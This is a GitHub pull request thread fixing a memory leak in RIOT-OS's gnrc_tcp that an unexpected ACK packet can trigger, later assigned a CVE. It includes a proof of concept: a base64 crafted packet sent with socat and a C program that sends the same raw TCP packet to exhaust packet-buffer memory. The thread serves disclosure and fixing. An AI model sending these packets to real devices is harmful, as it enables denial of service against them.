gnrc_tcp: Fix memory leak, potential DOS #12001

nmeum · 2019-08-12T21:31:36Z

Description

I believe I found a memory leak in gnrc_tcp which occurs during a faulty TCP handshake, e.g. by sending an ACK instead of SYN as the first packet.

Steps to reproduce the issue

The sample packet used below contains a hard-coded IP address, thus it is important to configure RIOT to use that IP address. Otherwise it will reject the packet. On native start tests/gnrc_tcp_server as follows:

Make sure the IP address of your TAP interface is fe80::e87d:b3ff:fe8b:4f01 and make sure RIOT uses fe80::e87d:b3ff:fe8b:4f02.
Add USEMODULE += gnrc_pktbuf_malloc to tests/gnrc_tcp_server/Makefile.
Compile gnrc_tcp_server using: TCP_SERVER_ADDR=fe80::e87d:b3ff:fe8b:4f02 TCP_SERVER_PORT=4223 make -C tests/gnrc_tcp_server/ all-valgrind
Invoke gnrc_tcp_server: make -C tests/gnrc_tcp_server/

Using socat send a packet to the gnrc_tcp_server. This will probably require superuser privileges as it creates a raw IP socket:

# echo rwsQf2pekYLaU+exUBBwgPDKAAA= | base64 -d | socat -u STDIN IP6-SENDTO:[fe80::e87d:b3ff:fe8b:4f02%tap0]:6

This can be repeated multiple times. Afterwards, terminate the gnrc_tcp_server application by sending it a SIGINT.

Expected results

valgrind shouldn't report any memory leaks.

Actual results

Depending on how often the aforementioned packet has been send to RIOT valgrind reports a memory leak. For example:

==16184== 420 (60 direct, 360 indirect) bytes in 3 blocks are definitely lost in loss record 6 of 6
==16184==    at 0x483463B: malloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-x86-linux.so)
==16184==    by 0x110DC3: _create_snip (sys/net/gnrc/pktbuf_malloc/gnrc_pktbuf_malloc.c:276)
==16184==    by 0x1106EC: gnrc_pktbuf_add (sys/net/gnrc/pktbuf_malloc/gnrc_pktbuf_malloc.c:97)
==16184==    by 0x124238: _recv (sys/net/gnrc/netif/ethernet/gnrc_netif_ethernet.c:168)
==16184==    by 0x1100AB: _event_cb (sys/net/gnrc/netif/gnrc_netif.c:1425)
==16184==    by 0x124B8A: _isr (cpu/native/netdev_tap/netdev_tap.c:100)
==16184==    by 0x10FE83: _gnrc_netif_thread (sys/net/gnrc/netif/gnrc_netif.c:1329)
==16184==    by 0x499D53A: makecontext (/build/glibc-Stc26X/glibc-2.28/stdlib/../sysdeps/unix/sysv/linux/i386/makecontext.S:91

Impact

IMHO this is a potential DOS as it allows an attacker to consume all pktbuf memory.

Related Issues

#11999

benpicco

pkt is released in each return path now, that looks right.

tcschmidt · 2019-08-17T00:13:17Z

pkt is released in each return path now, that looks right.

Has this been tested/checked, e.g., with valgrind ?

nmeum · 2019-08-17T09:10:19Z

Has this been tested/checked, e.g., with valgrind ?

The fix has been tested with valgrind by myself, however, I am by no means familiar with the internals of gnrc_tcp and would thus prefer if someone else can confirm this as well.

pkt is released in each return path now, that looks right.

Does this mean that you can confirm the existence of the memory leak?

tcschmidt · 2019-08-17T10:04:51Z

Maybe @miri64 can give this a final look?

PeterKietzmann · 2019-08-19T05:29:31Z

@brummer-simon FYI

brummer-simon · 2019-08-19T09:18:46Z

I tried to reproduce the issue and failed.

Could you please add more details on your tap device setup?

nmeum · 2019-08-19T09:48:16Z

I tried to reproduce the issue and failed.

Could you provide more details on what failed? If you enable debug in the corresponding files gnrc_tcp_eventloop.c, gnrc_tcp.c, gnrc_tcp_fsm.c, gnrc_tcp_pkt.c, … What output do you get? Does the packet get accepted or is it rejected early on? Did you make sure that RIOT uses the correct address (if it doesn't the packet gets rejected to early and doesn't reach the vulnerable code path)? Did you make sure that gnrc_pktbuf_malloc instead of gnrc_pktbuf_static is being used?

I also believe that this is fairly obvious simply by looking at the code. Or to rephrase that: Where does gnrc_tcp release the pktbuf memory when no fitting tcb has been found?

brummer-simon · 2019-08-19T10:37:01Z

I tried to reproduce the issue and failed.

Could you provide more details on what failed? If you enable debug in the corresponding files gnrc_tcp_eventloop.c, gnrc_tcp.c, gnrc_tcp_fsm.c, gnrc_tcp_pkt.c, … What output do you get? Does the packet get accepted or is it rejected early on? Did you make sure that RIOT uses the correct address (if it doesn't the packet gets rejected to early and doesn't reach the vulnerable code path)? Did you make sure that gnrc_pktbuf_malloc instead of gnrc_pktbuf_static is being used?

I also believe that this is fairly obvious simply by looking at the code. Or to rephrase that: Where does gnrc_tcp release the pktbuf memory when no fitting tcb has been found?

The final step in the Error reproduction failed on my system:
echo rwsQf2pekYLaU+exUBBwgPDKAAA= | base64 -d | socat -u STDIN IP6-SENDTO: [fe80::e87d:b3ff:fe8b:4f02%tap0]:6

failed because socat was not able to resolve [fe80::e87d:b3ff:fe8b:4f02%tap0], although tap0 had inet6 fe80::e87d:b3ff:fe8b:4f01/64 assigned to it. That might be tap-device setup related, I used
sudo ip tuntap add tap0 mode tap user ${USER}; sudo ip link set tap0 up to create tap0.

How did you setup your Tap Device?

I also believe that this is fairly obvious simply by looking at the code. Or to rephrase that: Where does gnrc_tcp release the pktbuf memory when no fitting tcb has been found?

I think the issue and the fix are obvious, but I still want to reproduce the Issue and test the fix. Again, thanks for finding it.

nmeum · 2019-08-19T11:07:01Z

How did you setup your Tap Device?

# ip tuntap add tap0 mode tap
# ip addr add fe80::e87d:b3ff:fe8b:4f01/64 dev tap0
# ip link set tap0 up

Though I believe that RIOT itself added that IP address to the interface.

My ip addr show dev tap0 output looks as follows:

7: tap0: <NO-CARRIER,BROADCAST,UP> mtu 1500 qdisc pfifo_fast state DOWN group default qlen 1000
    link/ether ea:7d:b3:8b:4f:01 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::e87d:b3ff:fe8b:4f01/64 scope link 
       valid_lft forever preferred_lft forever

What does your ip addr show dev tap0 output look like?

socat was not able to resolve [fe80::e87d:b3ff:fe8b:4f02%tap0],

What's the exact socat output? Is your socat compiled with IPv6 support and support for raw IP sockets?

brummer-simon · 2019-08-19T11:45:49Z

Output of "ip addr show dev tap0":
3: tap0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 6a:bf:db:05:c3:5e brd ff:ff:ff:ff:ff:ff inet6 fe80::68bf:dbff:fe05:c35e/64 scope link valid_lft forever preferred_lft forever inet6 fe80::e87d:b3ff:fe8b:4f01/64 scope link valid_lft forever preferred_lft forever

Output of "echo rwsQf2pekYLaU+exUBBwgPDKAAA= | base64 -d | socat -u STDIN IP6-SENDTO:[fe80::e87d:b3ff:fe8b:4f02%tap0]:6:"

2019/08/19 13:34:00 socat[1462] E getaddrinfo("fe80::e87d:b3ff:fe8b:4f02%tap0", "NULL", {5,10,2,6}, {}): ai_socktype not supported

The output of socat -V is contains '#define WITH_IP6 1' and '#define WITH_RAWIP 1' so i assume everything required is supported by socat.

nmeum · 2019-08-19T11:53:51Z

2019/08/19 13:34:00 socat[1462] E getaddrinfo("fe80::e87d:b3ff:fe8b:4f02%tap0", "NULL", {5,10,2,6}, {}): ai_socktype not supported

That's probably a bug in socat. See alpinelinux/aports#10055 didn't think that this would also happen on non-musl-libc based systems. You can either apply the patch linked above to socat or try the following C program which sends the same packet (a bit hacky and not-well tested at all but should work):

#include <err.h>
#include <assert.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>

#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sendfile.h>

static const uint8_t buffer[256] = {
	0xaf, 0x0b, 0x10, 0x7f, 0x6a, 0x5e, 0x91, 0x82, 0xda, 0x53,
	0xe7, 0xb1, 0x50, 0x10, 0x70, 0x80, 0xf0, 0xca, 0x00, 0x00,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};

int
main(void)
{
	int fd, optval;
	struct addrinfo hints, *srvinfo;

	if ((fd = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP)) == -1)
		err(EXIT_FAILURE, "socket failed");

	optval = 1;
	if ((setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &optval,
			sizeof(optval)) == -1))
		err(EXIT_FAILURE, "setsockopt failed");

	memset(&hints, 0, sizeof(struct addrinfo));
	hints.ai_family = AF_INET6;

	if (getaddrinfo("fe80::e87d:b3ff:fe8b:4f02%tap0", NULL, &hints, &srvinfo) != 0)
		err(EXIT_FAILURE, "getaddrinfo failed");
	assert(srvinfo != NULL);

	if (connect(fd, (struct sockaddr *)srvinfo->ai_addr, srvinfo->ai_addrlen) == -1)
		err(EXIT_FAILURE, "connect failed");
	if (write(fd, buffer, sizeof(buffer)) == -1)
		err(EXIT_FAILURE, "write failed");

	return EXIT_SUCCESS;
}

brummer-simon · 2019-08-19T12:03:49Z

Your C programm worked. Although a had to apply the fix from #11999 to get the expected Results.

nmeum · 2019-08-19T12:31:10Z

As I consider this a critical issue I requested a CVE for it. This request has been granted recently and this has been assigned CVE-2019-15134.

tcschmidt · 2019-08-19T12:36:09Z

Well, it looks like fixed now. Any reason not to merge?

brummer-simon · 2019-08-19T12:42:02Z

Well, it looks like fixed now. Any reason not to merge?

Not from my side. But I don't have the rights to merge.

nmeum · 2019-08-19T13:18:40Z

Also needs a backport to the release branch.

tcschmidt · 2019-08-19T13:21:26Z

Also needs a backport to the release branch.

@MrKevinWeiss how about such backport? This is a security bug.

nmeum · 2019-08-26T15:22:21Z

Has this been backported yet?

tcschmidt · 2019-08-27T07:03:55Z

According to our normal procedures, we would expect a backport from @nmeum. In any case, @MrKevinWeiss is aware of the issue and will provide the backport otherwise.

nmeum · 2019-08-27T07:34:51Z

Ah ok, I will look into it then!

MrKevinWeiss · 2019-08-27T07:46:26Z

@nmeum Many thanks!

gnrc_tcp: Fix memory leak

c6df206

fjmolinas added Area: network Area: Networking Type: bug The issue reports a bug / The PR fixes a bug (including spelling errors) labels Aug 13, 2019

fjmolinas requested a review from miri64 August 13, 2019 06:25

benpicco approved these changes Aug 16, 2019

View reviewed changes

benpicco added the CI: ready for build If set, CI server will compile all applications for all available boards for the labeled PR label Aug 16, 2019

nmeum mentioned this pull request Aug 19, 2019

net/gnrc/tcp: fix invalid read #11999

Merged

brummer-simon approved these changes Aug 19, 2019

View reviewed changes

benpicco merged commit f483988 into RIOT-OS:master Aug 19, 2019

MrKevinWeiss added Process: needs backport Integration Process: The PR is required to be backported to a release or feature branch Process: release cycle Integration Process: The PR is connected to the release cycle (e.g. release notes) labels Aug 19, 2019

nmeum mentioned this pull request Aug 26, 2019

gnrc_tcp leaks memory when gnrc_netapi_send fails #12081

Closed

nmeum mentioned this pull request Aug 27, 2019

gnrc_tcp: fix memory leak [backport 2019.07] #12093

Merged

kb2ma added this to the Release 2019.10 milestone Sep 16, 2019

nmeum mentioned this pull request Oct 16, 2019

main/socat: fix IP-SENDTO on musl alpinelinux/aports#10055

Closed

nmeum mentioned this pull request Jan 17, 2020

Add AFL-based fuzzing setup for network modules #13157

Merged

miri64 mentioned this pull request Oct 14, 2020

gnrc_tcp: Overhaul all debug messages #15209

Merged

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

gnrc_tcp: Fix memory leak, potential DOS #12001

gnrc_tcp: Fix memory leak, potential DOS #12001

nmeum commented Aug 12, 2019 •

edited

Loading

benpicco left a comment

tcschmidt commented Aug 17, 2019

nmeum commented Aug 17, 2019

tcschmidt commented Aug 17, 2019

PeterKietzmann commented Aug 19, 2019

brummer-simon commented Aug 19, 2019

nmeum commented Aug 19, 2019 •

edited

Loading

brummer-simon commented Aug 19, 2019

nmeum commented Aug 19, 2019 •

edited

Loading

brummer-simon commented Aug 19, 2019

nmeum commented Aug 19, 2019 •

edited

Loading

brummer-simon commented Aug 19, 2019

nmeum commented Aug 19, 2019 •

edited

Loading

tcschmidt commented Aug 19, 2019

brummer-simon commented Aug 19, 2019 •

edited

Loading

nmeum commented Aug 19, 2019

tcschmidt commented Aug 19, 2019

nmeum commented Aug 26, 2019

tcschmidt commented Aug 27, 2019

nmeum commented Aug 27, 2019

MrKevinWeiss commented Aug 27, 2019

gnrc_tcp: Fix memory leak, potential DOS #12001

gnrc_tcp: Fix memory leak, potential DOS #12001

Conversation

nmeum commented Aug 12, 2019 • edited Loading

Description

Steps to reproduce the issue

Expected results

Actual results

Impact

Related Issues

benpicco left a comment

Choose a reason for hiding this comment

tcschmidt commented Aug 17, 2019

nmeum commented Aug 17, 2019

tcschmidt commented Aug 17, 2019

PeterKietzmann commented Aug 19, 2019

brummer-simon commented Aug 19, 2019

nmeum commented Aug 19, 2019 • edited Loading

brummer-simon commented Aug 19, 2019

nmeum commented Aug 19, 2019 • edited Loading

brummer-simon commented Aug 19, 2019

nmeum commented Aug 19, 2019 • edited Loading

brummer-simon commented Aug 19, 2019

nmeum commented Aug 19, 2019 • edited Loading

tcschmidt commented Aug 19, 2019

brummer-simon commented Aug 19, 2019 • edited Loading

nmeum commented Aug 19, 2019

tcschmidt commented Aug 19, 2019

nmeum commented Aug 26, 2019

tcschmidt commented Aug 27, 2019

nmeum commented Aug 27, 2019

MrKevinWeiss commented Aug 27, 2019

nmeum commented Aug 12, 2019 •

edited

Loading

nmeum commented Aug 19, 2019 •

edited

Loading

nmeum commented Aug 19, 2019 •

edited

Loading

nmeum commented Aug 19, 2019 •

edited

Loading

nmeum commented Aug 19, 2019 •

edited

Loading

brummer-simon commented Aug 19, 2019 •

edited

Loading